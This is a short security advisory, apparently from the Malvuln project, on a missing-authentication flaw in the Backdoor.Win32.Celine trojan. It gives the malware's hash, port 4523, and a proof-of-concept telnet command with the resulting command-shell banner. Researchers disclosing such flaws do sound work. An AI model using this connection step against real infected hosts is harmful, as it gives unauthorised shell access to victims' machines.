Backdoor.Win32.Celine Missing Authentication

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/3a634db497c417679d7a20587d689d1f.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Celine  
Vulnerability: Missing Authentication  
Description: MTX Celine Trojan 3.3.3 by Del_Armg0, listens on TCP port 4523. The malware allows casual intruders access to the infected system as there is no authentication required. Third-party attackers can use telnet to gain entry to the backdoored host, after which they are presented with a command line.  
Type: PE32  
MD5: 3a634db497c417679d7a20587d689d1f  
Vuln ID: MVID-2021-0064  
Disclosure: 02/01/2021  
  
  
Exploit/PoC:  
TELNET x.x.x.x 4523  
  
>> MTX Celine Trojan 3.3.3 By Del_Armg0 - MTX#3 VxZine Released.   
>> Usage is : <Command> <Full_Path> <$>   
>> Supported commands are typical Dos commands ... -- celend to exit   
?   
  
  
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